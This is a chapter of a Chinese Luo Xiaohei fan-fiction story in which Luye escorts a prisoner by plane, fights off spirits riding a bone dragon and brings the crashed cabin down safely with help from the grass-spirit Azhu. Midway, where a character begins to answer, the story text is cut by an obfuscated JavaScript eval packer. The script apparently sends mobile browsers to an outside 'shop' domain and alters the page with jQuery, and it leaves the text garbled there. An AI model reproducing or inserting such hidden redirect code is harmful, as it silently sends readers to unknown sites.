25.很无害
作品:《[罗小黑·鹿野乙女]烂手回冬啊你这庸医!》 第二天一大早,事实证明鹿野昨晚关于某个睡眠不足小草人的判断完全正确——直到她把师弟小黑带到机场去赶最早一班的班机了,阿竹还趴在好友外套底下的衣襟内侧口袋里打盹补眠。
小草人主要是昨晚想着一些心事导致没睡好……
鹿野今天换了一件深棕色的飞行员外套和黑灰色工装长裤,上下服饰都具有很多大小不一的口袋,实用性很强。
如此一来,不管阿竹想睡鹿野身上的哪个口袋,都可以随便选择啦!
……这好像也不是什么很值得骄傲的事情。
小猫刚开始也有点大清早的犯困,不过在机场候机厅里见到两位面色尴尬的少年妖精后他就打起精神来了。
来者正是池年长老的弟子甲和乙。
在先后经历了跟踪被目标放鸽子、发布通缉令也没第一时间抓到人、嫌疑犯决定自行回总馆“自首”等一系列吃力不讨好的事件后,两位年轻妖精也觉得怪尴尬的。
我们好像也没在这次调查事件中起到什么正面作用啊?
因此再次面对鹿野这等任务经验丰富的妖精前辈时,甲乙二人也不禁露出了几分不太自在的尴尬和讪笑,没啥底气再喊着什么逮捕对方之类的话语。
可是长老的要求还是要硬着头皮去做的……
鹿野瞄了一眼这两小子,态度不容置疑地开口道:“哟,好巧,我们谁也别找对方麻烦,先回总馆再说。”
“好、好的。”甲挠挠脸颊,作为师兄算是一起表达了师弟的态度。
可能是鹿野说出那几句话时看起来太笃定且不容反驳了,甲乙二人竟然有点幻视自家师父在发号施令的模样。
根本让人没法说一个“不”字。
此时机场广播提示这趟航班的旅客可以开始检票登机了,鹿野这才想起自己居然还不知道眼前这两个毛头小子的名字,就多问了一嘴。
“回禀鹿野大人,我叫甲。”黑头发小马尾的少年妖精说。
至于他旁边那位黄色短发的妖精则是跟着自我介绍:“我是乙。”
鹿野:“……”
哪怕见多识广,知道很多妖精会给自己取一堆乱七八糟的名字,这一刻她还是难免在心头犯嘀咕:这跑龙套一样不走心的名字是怎么回事?
“谁取的?”
“池长老。”
一想到池年那头土老虎和他干出的各种骚操作,针对了包括且不限于师父无限和好友竹茂等人……鹿野顿时就没什么好脸色,也不想再跟他们多聊,索性带着身旁那位好奇巴巴的猫崽师弟转身登机。
“找老大要找有文化的!取的都什么名字?”
鹿野他们转身登机的背影很是潇洒,然而剩下两个隶属于没文化池长老的弟子面面相觑。
“这话要跟师父汇报吗?”乙颇为呆萌地问。
甲:“你想死啊。”
还好,师兄弟二人中还有一个是理智在线的。
…………
……
这次众人要乘坐的机型并不算大,是中小型机型,一排也才四个座位,两两并排,中间用过道隔开。
这趟早班机甚至没有坐满全部位置。
兴许是航空公司方面考虑到【洞桥会馆】所处的这座城市并非是一线城市,经济水平较为普通,外加清早的乘客数量通常较少的缘故,所以才使用了这种性价比较高的飞行路线定制策略。
跟那种一排十几个位置的波音或者空客的国际航班大型飞机根本没法比。
不过眼前的一切场景对于小黑来说都非常新鲜,不管是在登机口柜台的工作人员用扫描仪检票,还是踏入机舱时很有礼貌地跟空姐互相问好,小黑都表现出一副好奇又活泼的样子。
鹿野看了一眼这只走在前面过道上还蹦蹦跳跳的猫崽,又看了看会馆方面帮自己与师弟订的原本位置刚好在机翼附近,她立刻发现从这个位置的窗户看过去,实在很难看到什么像样的风景。
因此她转身询问甲乙的位置在哪儿。
甲乙二人的位置刚好在过道对面并且更加靠后的几排,所以没有被外头的金属机翼给挡住窗外风景。
鹿野为了让自家师弟能够拥有更加全面完整的第一次乘机体验,当即不容置疑地说:“甲,乙,我们换个位置。你们坐这儿。”
因为鹿野仍然记得当年她第一次坐飞机时,队友也主动把窗边的好风景位置让给她,就为了让自己的初次乘坐飞机体验能够更好一点。
所以鹿野如今当仁不让地要让小黑体验一把这种美好的感觉。
——那些她享受过的美好体验,师弟也应当享受!
这就是鹿野对待自己人一贯的护犊子态度。
什么?你说阿竹要不要也坐靠窗位置?
开什么玩笑,竹茂那家伙的实际年龄都比鹿野还大个几十岁,别说坐靠窗位置了,这神人就算坐在飞机外边“搭顺风车”的经历也是有的。
这种老油条又何必跟头一回坐飞机的小孩儿抢位置?
这么想着,鹿野很自然地把手伸进自己那敞开的飞行员外套内侧,手指猛戳睡得迷迷糊糊的阿竹,面不改色地又开始今日的新一轮玩弄小草人行为。
阿竹很快被揉醒了,不太高兴地用手去推鹿野的手指头,推了几下愣是没推开。她只好选择火速躺平,翻身继续睡,任由自己的后背被好友揉来玩去的。
甲乙倒是没有想那么多,面面相觑片刻后就默许了被迫换位置的行为。
他们也不想跟鹿野因为这点小事再起一些不必要的冲突。
毕竟只要鹿野最后能顺利押解着那位据说被抓捕住的精通易容变身术法的特殊犯人“皆逆荒”返回总馆,他俩的“跟踪盯梢”任务就算是圆满完成。
今日同样换了一身全新的鳄马仕新衣服的小黑很快就回到自己的靠窗位置上坐好,看见师姐正一脸正襟危坐的表情直视前方,似乎在思考什么非常重要的问题,偏偏右手却放在外套里面。
猫崽顿时想起了一件重要的事情:“师姐,阿竹姐顺利上飞机了吗?”
“上了。”
鹿野一边说,一边用左手把外套开口对着小黑的方向略微一掀。
这个动作就跟早年在风衣底下售卖非法光碟的街头商人一样娴熟,小黑定睛一看,里面坐着一只怒气冲冲且被折腾得根本没法睡觉的小草人,正双手叉腰地瞪着外面的两人。
“我正在时刻锻炼这位朋友的怒气值蓄力程度。”鹿野一本正经地告诉自己师弟,但略微勾起的嘴角出卖了她的真实心情。
你这分明是在玩!
小黑如今也没有那么容易上当受骗了,他虚着眼睛鄙视地看着师姐:“我觉得阿竹姐现在对你的好感度已经跌破下限了……”
鹿野自信地发表锐评:“这是她应该做的。”
“?”困惑的小黑批评鹿野,“师姐,你好幼稚哦,整天就知道欺负阿竹姐!”
小猫对师姐的“恶行”进行严肃批评。
“哼,小孩子少管大人的事情。”鹿野放下外套衣襟,随后伸出双手捧着猫崽脑袋的左右两侧,强制把孩子的脸调转了一个方向,“来,看外头风景吧。”
“别当我是小孩子啊!”小黑抗议。
但猫儿还是很快沉浸在新奇的头一回见闻里了。
等十几分钟后飞机开始离地起飞,鹿野总算放过睡眠不足的小草人,开始翻看前方椅背口袋里提供的航空旅行杂志打发时间。
因为她敏锐地察觉到阿竹的怒火已经隐隐积蓄到一个非常危险的程度了,再玩下去恐怕要玩脱了。
唉,一个天天就知道睡觉的懒虫。
不过嘛……
鹿野翻了一页眼前介绍欧罗巴地区地中海风景特色的文章与美景美食图片,将这个异国沿海小镇的名字默默记下。
小小一只的阿竹正趴在她怀里继续睡得昏天黑地,一时半会儿也没有醒来的迹象。
——等解决师父的这档子麻烦事以及等竹茂这家伙彻底恢复正常以后,再问她要不要继续出门去地中海那边度假吧。
鹿野暗自下定了决心。
也许届时可以对那个人说点什么……关于一直想要说出来,让竹茂能够精准无误理解的那件事情。
然而就在鹿野盘算着可能到来的地中海之旅的时候,忽然察觉到这平流层的上空里多出了一点不该出现的灵。
她立刻扭头看向窗外空旷无垠的蓝天与下方如棉被般的雪白云层,注视片刻后,趴在窗边的小黑这才发现了些许异常:“师姐你看,那边好像有条白色的蚯蚓诶。”
“——是骨龙。”鹿野纠正小猫的淳朴发言,然后传音给甲乙二人,“外面的是你们的人?”
“啊?什么?不可能啊……外面不是我们的人。”
“按理来说,长老也没有再派人过来接应。”
同样一头雾水的甲乙说出了毫不意外的台词。
十几秒后,这台押送某些妖精犯人的飞机就骤然遭受了外头妖精的袭击。
只见一条硕大无朋的白色骨龙用自己的身躯将整架飞机的外壳缠绕,飞机当即不受控制地上下颠簸起来。
穿着玫红色制服的空姐刚开始还想使用常见话术来安抚乘客们的情绪,结果被鹿野直接操纵她身上的金属物品,直接把人推回到机舱最前方的空乘专座上,一秒给这位空姐自动系上安全带。
“所有人,都回到座位上去!”鹿野当仁不让地站起来大喝一声。
没等其他乘客反应过来,他们身上的安全带也被鹿野在同一瞬间用御金系的能力给扣上。
一名刚刚进入机舱末尾厕所,甚至还没来得及解决生理问题的可怜男乘客最凄惨。他被自己的裤腰皮带(上面有金属扣)给飞一般地拽出来,摁到一个最近的空位上坐好。
“发生什么事了?”那人惊恐地询问左右,双手甚至不太敢触碰自己那疑似成精的裤腰带。
机舱顶部的铁皮被人从外面用某种锋利的切割方法骤然切出了一个巨大的棱形空洞。
铁皮被挖开飞走,伴随着强烈到无法忽视的高空气流从上而下灌入机舱,几乎所有人都在同一时刻发出了尖叫,无数行李和较轻的杂物到处乱飞。
每个座位对应的紧急呼吸面罩“砰!”的一声垂下,为本就混乱的机舱增添了几分生死存亡的气息。
就在乘客们手忙脚乱地给自己或者家人戴上这面罩之际,几个一看就不是好东西的妖精恶形恶状地跳入机舱内。
他们各个面带狞笑,摩拳擦掌,形成包围之势冲向鹿野和她的小伙伴们……然后被鹿野一拳一个地全部打飞出去。
妈的,最烦装逼的人。——出自夏国老牌女歌手“这英”早年的微特发言。
用在这个场合大概也算是恰如其分。
把敌人打出去以后,鹿野很清楚这只是一个开端,不算结束,因此她同样从空洞处一跃而出,迎着呼啸的狂风和敌人们如潮水般接连不断的组合拳猛攻,她一个人居然还打得略占上风。
当小黑和甲乙师兄弟二人以最快速度赶来增援时,发现那条气势汹汹的白色骨龙架子都已经被鹿野三拳两脚地给打成了一堆半空中挣扎飞舞、试图快速重组的碎裂骨块。
甲乙猛地张开背后的蝠状翅膀,扑向敌人。由于二人的妖精原型都是蝙蝠,天然拥有飞行能力,自然可以穿梭在高空中与敌人展开厮杀和战斗。
至于小黑这只小猫妖,年纪轻轻的萌物一只,但真的打起敌人来同样无所畏惧,喵喵拳外加【御金系】能力跟那群劫匪妖精打得那叫一个有来有回。
混乱中,一个浑身都是肌肉的红皮肤壮汉妖精一拳砸向鹿野,同时口中怒吼:“把【流石会馆】的幸存者交出来——”
鹿野闻言顿时目露凶光,先是以手掌挡住此人的这一记重拳后,旋即直接活活捏碎了此人来不及缩回的半个手掌骨头,最后直接将这名壮汉用过肩摔的方法甩出机身上方的这片狭小平台:“做梦!”
呼啸而过的重组骨龙摇晃着仅剩的半截身躯,在同行某个妖精的操纵下,精准地接住了这位摔下半空的壮汉。
其他敌人见状立刻冲上来缠斗鹿野,但就算是几人同时猛攻鹿野一人,这群家伙看起来都占不到多少上风。
——这肯定不能说劫匪们太弱,人均废物点心,必须承认是鹿野这人太强了……
然而就在鹿野专心战斗、无暇分神的一瞬间,有一只苍老的手从她身后腰带处飞速掠过,取走了某个物品。
伴随着空间系牢笼被解开,穿着橙色连体衣的精神小伙儿妖精皆逆荒被他的同伴们营救走了!
“哈,她果然被前面那套抢夺幸存者的说辞给转移了注意力!”白胡子眯眯眼老者得意道,还故意说得很大声,主要是为了说给鹿野听。
结果面色铁青的鹿野在下一秒冲破重重包围大跳过去,凌空一腿直接砸爆了这条本就残破不堪的骨龙交通工具。
包括皆逆荒和白胡子老者在内,几个乘坐骨龙的妖精再次一起摔下半空。
还好老者摇身一变,化作一头身形矫捷的白羽大鹤,载着同伴们仓皇逃离。
“这样没用!逃不开鹿野的追击!”皆逆荒紧张地大喊,生怕又被那个残暴无情的女人给抓回去关押起来。
“放心!”白鹤同样大喊,“都安排好啦!”
劫匪等一行人完成“营救皆逆荒”这个最主要目标后,也并不纠缠次要目标的“抢夺疑似【流石会馆】幸存者竹茂”,各显逃跑神通,纷纷火速逃离此地高空——当然,也没法纠缠,毕竟主要交通工具的骨龙彻底碎裂。
没有飞行能力的几个劫匪倘若再纠缠下去,恐怕就是给鹿野这位凶神送人头的。
就算是身为横行霸道、草菅人命的劫匪,这些妖精还是想让自身活得久一点的。
当鹿野使用【御金系】能力将自己“吸”回飞机机身时,毫不意外地发现在刚才的激烈打斗中这台凡俗造物不幸被波及损伤。
只见飞机一侧的机翼被损毁,如今正在燃烧和冒出滚滚黑烟,如果再不想办法紧急迫降的话定要落个机毁人亡的下场。
虽然这是提前设想过的最坏结果之一,不过鹿野还是有条不紊地发号施令,命令小黑与甲乙二人协助自己解决眼前的危机。
“甲,乙,你们有什么能力?”鹿野问。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221635|194830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们是土系的。”小伙子相当淳朴地回答。
——说到土系就想到池年,想到池年就想到那货整出的骚操作。
鹿野冷哼:“垃圾。”
甲和乙:“?”
不过危难当前,三个年轻妖精都没有任何二话,尽可能地按照鹿野的命令去集中完成各项前期布置。他们都不是什么性情残暴的妖精,如果能够救人,还是想要尝试着去努力一下。
就连两位驾驶室的正副机长都听从了这位来路不明、不似凡人(鹿野)的指挥,努力将这台机器的飞行方向调转角度,朝着下方的一个据说是断崖方位的山区密林处俯冲过去。
鹿野稳稳当当地站在飞机顶部,狂风吹得她额前的长刘海肆意飞舞,她扭头看向自己身后的那三个战友:“都准备好了?”
“全部就位!”甲高声回答。小黑也严肃点头。
“那就……开始!”
时机已到,鹿野双腿发力地在机舱上方狂奔起来,她的随身金属化作数十根坚不可摧的细线,依照预先钉住的各个方位尽数节点完成了最后的串联工作。
奔跑中,鹿野能够感觉到自己的脖颈处皮肤被几根细长的草木细索快速缠上,却松松垮垮的,完全没有勒紧……更像是小草人在动作柔和地搂着她的脖子,沉默无言地观察着外界的一切战局变化。
鹿野不自觉地咧嘴一笑,用只有自己和阿竹能听见的声音低声说道:“别怕。”
下一秒,她纵身跃下飞机,悬浮在手边的随身金属正在急速绷紧,同时鹿野本人则是率先朝着预定的迫降方位急速飞去!
伴随着空中传来的一声巨响,已经提前集中了全体人员的机舱中段部分被那些金属细线完全切割开,如同一个筒状,往下直坠。
小黑和甲乙则是按照预定计划,一起张开了羽翼,努力扼制筒状机舱的下落速度,拼命让它减速下来。
而那些空无一人的飞机头部、断裂的两侧钢铁羽翼、机尾横板等物则是滞留在高空中,彼此发生了剧烈碰撞,旋即连续爆发出好几团醒目的巨大火球。
此地是山区,密林众多,山形起伏,这片断崖已经是鹿野确信能够找得到的附近最好迫降地点了。
当鹿野本人比那失事机舱更先悍然落地,登山靴底部因为惯性的缘由在地面摩擦出两道长长的沟壑,同时她能够感觉自己怀里不太明显的一轻——小草人从她怀里跳出来,飞速跑向这遍布杂草的断崖地面。
鹿野顾不上去管阿竹在干什么,她抬起手,将能力推动到最大的发挥程度,对准半空中那个正在以恐怖的速度强行穿过众多树木阻隔而重重砸下的那个筒状机舱部分。
四位妖精几乎是全身力气来阻止和减缓这台满载了上百人的机舱坠落速度,甲乙二人的翅膀在与丛林的高速摩擦碰撞中出现了巨大的破损缺口,小黑也拼命地使用能力将机舱往回“拉”一把。
可惜他们的力量尚且不足,无法完全操纵阻止这机舱的下坠失事进程。
当它重重地砸在地上并且无法遏制住这股物体往前翻滚的动能,不断地向悬崖处滚去。
挡在最后一道关卡前方的鹿野双手都因为能力发挥到极限而微微发抖,却还是眼睁睁地看着这个庞然大物朝着自己高速碾压过来,她头上的冷汗清晰可见。
更糟糕的是,因为刚才机舱下落的时候的强烈剐蹭和撞击直接掀翻了甲乙中的其中一人,另一人则是为了营救同门,也不幸被颠簸的机舱给卷进底部,险些直接压死,还好最后压在了用能力仓促形成的地面土质结构里头。
但这也就意味着甲乙两人都没法出手帮忙了。小黑此时还在咬着牙往回“拽”着机舱中段这件金属器物,但他也明显已经抵达自身能力的极限。
“……快说,没有我就是不行。”
鹿野骤然听见有人在自己的耳边轻声发笑,如穿过林间的风声一般难以捉摸。
她一下子绷住面部的所有表情。
才不说。
免得回头某些家伙骄傲到尾巴都要翘到天上去了。
虽然鹿野拒绝配合演出,不过依旧有众多柔软而坚韧的绿草不知何时从她背后生长而出,像是一团巨大的毛茸茸那样,从背后拥抱了一下快要被这冲撞而来的机舱给硬生生推下悬崖的鹿野本人。
下一瞬间,鹿野的视野被无数暴动的绿草给占据了。
整座山林的草木都在沸腾,那些急速生长茂盛的杂草就化作了一片绿色的大海,顶着筒状机舱的反方向骤然掀起了接连不断的波涛!
就好像有一位面点师傅在举重若轻地揉搓着手中的粗长面团,令它停止前进的步伐。
当最终这满载人类的机舱堪堪停下来时,连金属机身表层已经布满了厚实无比的一层绿草,乍一看仿佛是什么抹茶味毛巾卷之类的蛋糕点心。
勉强从土堆缝隙里投出视线的甲乙顿时松了口气。
得救了!
“这些草是怎么回事……”
没等他们说完,视线里所有的绿草在一瞬间全部化作飞灰,连同着半座山头,尽数化作焦土。
小黑吓了一跳,还往后跳了几步,东张西望起来。
但鹿野对这个可太熟悉了——【生灵系·命源】,任意施加或者剥夺生命力的能力。
她没有责怪竹茂为什么要把这座山头的生命力给猛然吸光这种事情,因为鹿野知道如果阿竹不这样做,就单看前面强行催发草木时所付出的庞大生命力,说不定这会儿这个妖精马上就要散灵陨落。
比起那些小事,鹿野更加担心朋友此刻的安危。
“阿竹!你在哪儿!”
鹿野朝着机舱方向往前走了两步,忽然停下来,看向自己的脚边。
一个毫不起眼的小草人在下一秒从焦土里钻出,顶着一脸萎靡不振的表情,甩了甩脑门上的泥土颗粒。
只见她浑身杂草的颜色主要为青黄二色,大概是五五对开的颜色面积。
“哟呵,在这儿啊。”鹿野蹲下身,上下打量她一番确认没什么大问题后方才眯着眼睛问道,“阿竹,非要在那种紧急关头让我说什么‘没有你,我就不行’之类的蠢话?你在开什么玩笑?”
都搞出这种情况了,如果鹿野还没发觉阿竹这位朋友如今多少恢复一部分的神志和力量这件事,那也不用继续混什么会馆了,直接提前退休回家陪师父无限养鸡去得了。
看在刚刚被帮忙的份上,鹿野决定不去计较这草包昨晚搁那儿装疯卖傻的行为。
“……”
小草人无辜地看着她,一双豆豆眼颇为无害地眨了一下。
是的,虽然阿竹已经恢复到能掀起一座山头的草木生命巨浪的程度,但是此刻的她依旧懒得去演化出发音器官。
——拜托,说话很麻烦诶,而且不觉得用生草弹幕交流显得她很可爱吗?
鹿野最后自顾自地笑着,以及莫名其妙地叹气两声,道:“服了你了。上来吧。”
她伸出手掌靠近地面,小草人则是在下一刻便习以为常地跳上去,一动不动地瘫着。
阿竹累了。
众所周知,她只是一个还没完全恢复全部实力的普通路过小草人啊。

